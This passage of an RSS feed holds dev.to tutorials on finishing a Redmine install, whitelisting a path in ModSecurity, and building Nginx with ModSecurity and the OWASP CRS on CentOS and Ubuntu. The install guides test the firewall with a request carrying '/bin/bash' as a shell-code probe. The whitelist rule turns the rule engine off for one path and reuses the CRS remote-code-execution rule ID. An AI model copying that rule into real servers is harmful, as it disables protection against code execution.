&lt;p&gt;We can add default configuration data to the database when the database conversion is complete:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;RAILS_ENV=production REDMINE_LANG=en bundle exec rake redmine:load_default_data&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;the we exit as user 'redmine'.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ exit&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, let’s update the gem.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;# gem update&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;this update will take times.&lt;/p&gt;

&lt;p&gt;Then we can access our redmine server with &lt;a href="http://public_ip_address" rel="noopener noreferrer"&gt;http://public_ip_address&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Default admin username and password is &lt;code&gt;admin&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99x72ctj4f4vn0mkaeq9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99x72ctj4f4vn0mkaeq9.png" alt="Redmine web" width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvt6i5q1rymjmu0wrvhr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvt6i5q1rymjmu0wrvhr.png" alt="Redmine default username and password (admin)" width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxgdi9l8urtbjimwegg69.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxgdi9l8urtbjimwegg69.png" alt="Redmine Admin" width="800" height="267"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hope this article help you!&lt;/p&gt;

</description>
      <category>redmine</category>
      <category>ubuntu</category>
    </item>
    <item>
      <title>Whitelisting Specific Paths on Modsecurity 3 with OWASP Rules</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Tue, 28 May 2024 01:28:13 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/whitelisting-specific-paths-on-modsecurity-3-with-owasp-rules-39d5</link>
      <guid>https://dev.to/henri_sekeladi/whitelisting-specific-paths-on-modsecurity-3-with-owasp-rules-39d5</guid>
      <description>&lt;p&gt;Modsecurity with rule from OWASP rule set, make security very strict, sometimes modsecurity flag false positive in content that we post in form.&lt;/p&gt;

&lt;p&gt;To whitelist the spesific path, we can add on &lt;code&gt;modsecurity.conf&lt;/code&gt; to whitelist those path or spesific url.&lt;/p&gt;

&lt;p&gt;We are on ubuntu server 22.04 with nginx and modsecurity installed and owasp rule in &lt;code&gt;/etc/nginx/conf/owasp-crs/&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/conf/owasp-crs/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and add this line in the bottom of the file&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SecRule REQUEST_URI "@beginsWith /ptickets" "id:932130,phase:1,log,allow,ctl:ruleEngine=off&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This mean :&lt;/p&gt;

&lt;p&gt;Request URI begin with &lt;code&gt;/ptickets&lt;/code&gt; will be ignored in modsecurity with rule id is 932130. Rule id 932130 is rule on OWASP for prevent Remote Code Execution on our website and it's need to be unique.&lt;/p&gt;

&lt;p&gt;Don't forget to reload our nginx server to take effect :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo service nginx reload&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thank you very much, hope this post is useful and give us some love!&lt;/p&gt;

</description>
      <category>modsecurity</category>
      <category>owasp</category>
      <category>nginx</category>
    </item>
    <item>
      <title>Install Nginx with Modsecurity + OWASP CRS on Centos 7</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Tue, 28 May 2024 01:13:38 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/install-modsecurity-owasp-crs-for-nginx-webserver-on-centos-7-4fgo</link>
      <guid>https://dev.to/henri_sekeladi/install-modsecurity-owasp-crs-for-nginx-webserver-on-centos-7-4fgo</guid>
      <description>&lt;h2&gt;
  
  
  Update Package &amp;amp; Install Libraries
&lt;/h2&gt;

&lt;p&gt;First, update the package and install some libraries that we need.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo yum update&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo yum groupinstall 'Development Tools' -y
sudo yum install epel-release -y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;yum install yajl yajl-devel curl-devel GeoIP-devel zlib-devel lmdb lmdb-devel libxml2-devel ssdeep ssdeep-devel lua-devel pcre-devel wget nano
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we build with this library installed, we got error, to prevent this error g++: error: unrecognized command line option '-std=c++17' , we need to install latest env for gcc :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# 1. Install a package with repository for your system:
# On CentOS, install package centos-release-scl available in CentOS repository:
$ sudo yum install centos-release-scl -y

# On RHEL, enable RHSCL repository for you system:
$ sudo yum-config-manager --enable rhel-server-rhscl-7-rpms

# 2. Install the collection:
$ sudo yum install devtoolset-8 -y

# 3. Start using software collections:
$ scl enable devtoolset-8 bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Install Modsecurity
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo git clone https://github.com/owasp-modsecurity/ModSecurity.git
cd ModSecurity
sudo git submodule init
sudo git submodule update
sudo ./build.sh
sudo ./configure
sudo make
sudo make install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Modsecurity-nginx
&lt;/h2&gt;

&lt;p&gt;Download modsecurity-nginx connector&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo git clone https://github.com/owasp-modsecurity/ModSecurity-nginx.git&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We will need this when we configure nginx with modsecurity module later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Nginx with latest version
&lt;/h2&gt;

&lt;p&gt;First, we need to make repository list for nginx :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/yum.repos.d/nginx.repo&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[nginx-stable]
name=nginx stable repo
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/
gpgcheck=1
enabled=1
gpgkey=https://nginx.org/keys/nginx_signing.key
module_hotfixes=true

[nginx-mainline]
name=nginx mainline repo
baseurl=http://nginx.org/packages/mainline/centos/$releasever/$basearch/
gpgcheck=1
enabled=0
gpgkey=https://nginx.org/keys/nginx_signing.key
module_hotfixes=true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;choose witch one to use (stable or mainline)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo yum-config-manager --enable nginx-mainline
or
sudo yum-config-manager --enable nginx-stable
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;sudo yum install nginx -y&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Set enable on nginx to start when the server up/runing, start the nginx service and check the status of the nginx service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl enable nginx
sudo systemctl start nginx
sudo systemctl status nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Download nginx source code
&lt;/h2&gt;

&lt;p&gt;Download source code with the same version with currently installed on Centos 7.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo wget https://nginx.org/download/nginx-1.24.0.tar.gz
sudo tar -xzvf nginx-1.24.0.tar.gz
cd nginx-1.24.0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, we configure nginx with dynamic module, that is modsecurity, we added --add-dynamic-module=/opt/ModSecurity-nginx to make this happen.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ./configure --with-compat --add-dynamic-module=/opt/ModSecurity-nginx
sudo make
sudo make modules
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after successfully build the nginx from source with modsecurity then copy the module file to folder nginx modules.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Enable ModSecurity in nginx.conf
&lt;/h2&gt;

&lt;p&gt;Copy configuration from modsecurity source code to nginx :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo cp /opt/ModSecurity/modsecurity.conf-recommended /etc/nginx/modsecurity.conf

sudo cp /opt/ModSecurity/unicode.mapping /etc/nginx/unicode.mapping
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Edit nginx main configuration to load modsecurity module :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/nginx.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;add this line on main row on nginx configuration file :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;load_module modules/ngx_http_modsecurity_module.so;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and, add this code inside http {} or inside your custom server block for spesific site/domain :&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;modsecurity on;
modsecurity_rules_file /etc/nginx/modsecurity.conf;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Edit Modsecurity config
&lt;/h2&gt;

&lt;p&gt;Edit modsecurity configuration to active engine :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/modsecurity.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Search for SecRuleEngine and set to On.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SecRuleEngine On&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;save the configuration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update Rule with CORE RULE SET (CRS)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/owasp-crs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Rename file crs-setup :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo cp /etc/nginx/owasp-crs/crs-setup.conf{.example,}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Add crs rule of CRS to modsecurity.conf :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/modsecurity.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;add this 2 lines on the bottom of the modsecurity.conf&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Include owasp-crs/crs-setup.conf
Include owasp-crs/rules/*.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, check configuration of nginx again :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nginx -t&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;if the configuration is ok/success then restart nginx service.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo service nginx restart&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Test Modsecurity + Nginx with browser
&lt;/h2&gt;

&lt;p&gt;Access to your server with browser or curl and add some shell code :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://ip_address/as.php?s=/bin/bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If everything working as expected, forbidden access will show, with code 403. this mean we have success deploy our nginx server with modsecurity module.&lt;/p&gt;

&lt;p&gt;To view detail about those error, we can see the log file of the modsecurity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo tail -f /var/log/modsec_audit.log
sudo tail -f /var/log/nginx/error.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hope this post help you secure your site even more.&lt;/p&gt;

&lt;p&gt;Found this post useful, please give us some love!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Install Nginx with Modsecurity 3 + OWASP CRS on Ubuntu 22.04</title>
      <dc:creator>Henri Sekeladi</dc:creator>
      <pubDate>Tue, 28 May 2024 01:13:08 +0000</pubDate>
      <link>https://dev.to/henri_sekeladi/install-nginx-with-modsecurity-3-owasp-crs-on-ubuntu-2204-5d6l</link>
      <guid>https://dev.to/henri_sekeladi/install-nginx-with-modsecurity-3-owasp-crs-on-ubuntu-2204-5d6l</guid>
      <description>&lt;h2&gt;
  
  
  Preface
&lt;/h2&gt;

&lt;p&gt;In this article we a VPS hosted on AWS EC2 Instance installed with Ubuntu 22.04&lt;/p&gt;

&lt;h2&gt;
  
  
  Update Package &amp;amp; Install Libraries
&lt;/h2&gt;

&lt;p&gt;First, update the package and install some libraries that we need on ubuntu server 22.04.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt update &amp;amp;&amp;amp; sudo apt upgrade&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Install libraries that needed for our installation process from source of modsecurity 3.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo apt install gcc make build-essential autoconf automake libtool libcurl4-openssl-dev liblua5.3-dev libfuzzy-dev ssdeep gettext pkg-config libgeoip-dev libyajl-dev doxygen libpcre++-dev libpcre2-16-0 libpcre2-dev libpcre2-posix3 zlib1g zlib1g-dev -y&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Modsecurity
&lt;/h2&gt;

&lt;p&gt;Next, we will install modsecurity from source.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo git clone https://github.com/owasp-modsecurity/ModSecurity.git
cd ModSecurity

sudo git submodule init
sudo git submodule update

sudo ./build.sh
sudo ./configure

sudo make
sudo make install
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we success with this installation, we make big move. go on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Download Modsecurity-nginx Connector
&lt;/h2&gt;

&lt;p&gt;Next, we download modsecurity nginx connector, we will use this later on.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo git clone https://github.com/owasp-modsecurity/ModSecurity-nginx.git&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Install Nginx with latest from Ondrej PPA
&lt;/h2&gt;

&lt;p&gt;Ok, we will install nginx from ondrej ppa, we got the latest version of nginx.&lt;/p&gt;

&lt;p&gt;First, we need to add repository from ondrej and update our package.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo add-apt-repository ppa:ondrej/nginx -y
sudo apt update
sudo apt install nginx -y
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can enable with systemctl to start nginx when our server up&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo systemctl enable nginx
sudo systemctl status nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We also need to check our nginx version, to match our nginx build manual later on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo nginx -v
nginx version: nginx/1.25.4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Download nginx source code
&lt;/h2&gt;

&lt;p&gt;We should download source code that match version on nginx we recently installed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd /opt &amp;amp;&amp;amp; sudo wget https://nginx.org/download/nginx-1.25.4.tar.gz
sudo tar -xzvf nginx-1.25.4.tar.gz
cd nginx-1.25.4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;after we download, extract and change directory to nginx source. we build nginx with module on modsecurity that we successfully installed above.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo ./configure --with-compat --add-dynamic-module=/opt/ModSecurity-nginx

sudo make
sudo make modules
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we copy the modules to nginx modules-enabled, also copy configuration of modsecurity and unicode.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules-enabled/

sudo cp /opt/ModSecurity/modsecurity.conf-recommended /etc/nginx/modsecurity.conf

sudo cp /opt/ModSecurity/unicode.mapping /etc/nginx/unicode.mapping
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Enable ModSecurity in nginx.conf
&lt;/h2&gt;

&lt;p&gt;Next, we edit configuration of nginx to load module of modsecurity&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/nginx.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;add this line to main configuration.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;load_module /etc/nginx/modules-enabled/ngx_http_modsecurity_module.so;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;then, we also need to modify the server block to activate modsecurity.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/sites-enabled/default&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;modsecurity on;
modsecurity_rules_file /etc/nginx/modsecurity.conf;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and also, edit /etc/nginx/modsecurity.conf to change SecRuleEngine to On.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/modsecurity.conf&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;SecRuleEngine On&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;after that we can our nginx configuration and restart nginx server&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nginx -t&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo systemctl restart nginx&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We can test the nginx server with browser on its public ip address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Update Rule with CORE RULE SET (CRS)
&lt;/h2&gt;

&lt;p&gt;Now, we need to download core rule set from owasp, owasp crs provide rule to check if the client request has malicious code or not.&lt;/p&gt;

&lt;p&gt;We directly download owasp crs to nginx configuration directory.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo git clone https://github.com/coreruleset/coreruleset.git /etc/nginx/owasp-crs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;then we copy the configuration.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo cp /etc/nginx/owasp-crs/crs-setup.conf{.example,}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and we need to update our modsecurity configuration to load owasp crs.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nano /etc/nginx/modsecurity.conf&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Include owasp-crs/crs-setup.conf
Include owasp-crs/rules/*.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;last, we check nginx configuration,&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo nginx -t&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and restart nginx server.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;sudo service nginx restart&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Test Modsecurity + Nginx with browser&lt;br&gt;
Try to access to your server and add some shell code on it :&lt;/p&gt;

&lt;p&gt;&lt;code&gt;https://ip_address/as.php?s=/bin/bash&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;If everything working as expected, forbidden access will show, with code 403. this mean we have success deploy our nginx server with modsecurity module.&lt;/p&gt;

&lt;p&gt;To view detail about those error, we can see the log file of the modsecurity.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo tail -f /var/log/modsec_audit.log
sudo tail -f /var/log/nginx/error.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hope this post help you secure your site even more.&lt;/p&gt;

</description>
      <category>modsecurity</category>
      <category>nginx</category>
      <category>ubuntu</category>
    </item>
  </channel>
</rss>
